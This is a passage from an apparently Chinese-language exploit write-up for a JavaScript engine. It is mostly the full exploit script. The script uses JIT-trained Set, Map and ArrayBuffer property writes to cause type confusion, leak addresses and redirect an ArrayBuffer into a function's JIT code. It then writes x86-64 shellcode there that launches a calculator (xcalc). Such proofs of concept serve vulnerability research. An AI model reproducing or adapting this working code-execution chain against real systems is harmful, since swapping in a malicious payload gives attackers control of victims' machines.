shellcode[9] = 0x89485750;
shellcode[10] = 0xd23148e6;
shellcode[11] = 0x3ac0c748;
shellcode[12] = 0x50000030;
shellcode[13] = 0x4944b848;
shellcode[14] = 0x414c5053;
shellcode[15] = 0x48503d59;
shellcode[16] = 0x3148e289;
shellcode[17] = 0x485250c0;
shellcode[18] = 0xc748e289;
shellcode[19] = 0x00003bc0;
shellcode[20] = 0x050f00;

执行shellcode

直接执行evil_f即可。

evil_f();

最终效果

执行该exploit后可以成功执行shellcode并弹出计算器:

完整EXP

var ab = new ArrayBuffer(0x200);
var n;
var m;
var l;


var evil_f = new Function("var a = 1000000");

function d2u(num1,num2){
    d = new Uint32Array(2);
    d[0] = num2;
    d[1] = num1;
    f = new Float64Array(d.buffer);
    return f[0];
}

function u2d(num){
    f = new Float64Array(1);
    f[0] = num;
    d = new Uint32Array(f.buffer);
    return d[1] * 0x100000000 + d[0];
}

function Ctor() {
	n = new Set();	
}
function Ctor2() {
	m = new Map();	
}
function Ctor3() {
	l = new ArrayBuffer();
}
function Check(obj){
    n.xyz = 3.4766863919152113e-308
    n.xyz1 = 0x0;
    n.xyz2 = 0x7000;
    n.xyz3 = obj;
}


function Check2(addr){
    m.xyz = 3.4766863919152113e-308
    m.xyz1 = 0x0
    m.xyz2 = 0x7000
    m.xyz3 = addr 	
}				
function Check3(addr){

	l.xyz = 3.4766863919152113e-308;
	l.xyz1 = addr  
}


for(var i=0; i<10000; ++i) {
    Ctor();
    Ctor2();
    Ctor3();
}

for(var i=0; i<10000; ++i) {
    Check(null);
    Check2(3.4766863919152113e-308);
    Check3(3.4766863919152113e-308);
}

Ctor();
Ctor2();
Ctor3();

Check(ab);

var str = new String(null);
var ab_addr = str.charCodeAt(0)*0x1+str.charCodeAt(1)*0x100+str.charCodeAt(2)*0x10000+str.charCodeAt(3)*0x1000000+str.charCodeAt(4)*0x100000000+str.charCodeAt(5)*0x10000000000+str.charCodeAt(6)*0x1000000000000+str.charCodeAt(7)*0x100000000000000;
print("0x"+ab_addr.toString(16));
var ab_len_ptr = ab_addr+24;

ab_len_ptr_float = d2u(ab_len_ptr/0x100000000,ab_len_ptr&0xffffffff);
Check(evil_f);
var func_addr = str.charCodeAt(0)*0x1+str.charCodeAt(1)*0x100+str.charCodeAt(2)*0x10000+str.charCodeAt(3)*0x1000000+str.charCodeAt(4)*0x100000000+str.charCodeAt(5)*0x10000000000+str.charCodeAt(6)*0x1000000000000+str.charCodeAt(7)*0x100000000000000;
print("0x"+func_addr.toString(16));
func_addr = func_addr - 1;
func_addr_float = d2u(func_addr/0x100000000,func_addr&0xffffffff);

Check(String(null));
               
print(ab_len_ptr_float);
Check2(ab_len_ptr_float);

print(func_addr_float);
Check3(func_addr_float);

f64 = new Float64Array(ab);
shellcode_addr_float = f64[7];

print("0x"+(u2d(shellcode_addr_float)).toString(16));

Check3(shellcode_addr_float);

var shellcode = new Uint32Array(ab);
shellcode[0] = 0x90909090;
shellcode[1] = 0x90909090;
shellcode[2] = 0x782fb848;
shellcode[3] = 0x636c6163;
shellcode[4] = 0x48500000;
shellcode[5] = 0x73752fb8;
shellcode[6] = 0x69622f72;
shellcode[7] = 0x8948506e;
shellcode[8] = 0xc03148e7;
shellcode[9] = 0x89485750;
shellcode[10] = 0xd23148e6;
shellcode[11] = 0x3ac0c748;
shellcode[12] = 0x50000030;
shellcode[13] = 0x4944b848;
shellcode[14] = 0x414c5053;
shellcode[15] = 0x48503d59;
shellcode[16] = 0x3148e289;
shellcode[17] = 0x485250c0;
shellcode[18] = 0xc748e289;
shellcode[19] = 0x00003bc0;
shellcode[20] = 0x050f00;

evil_f();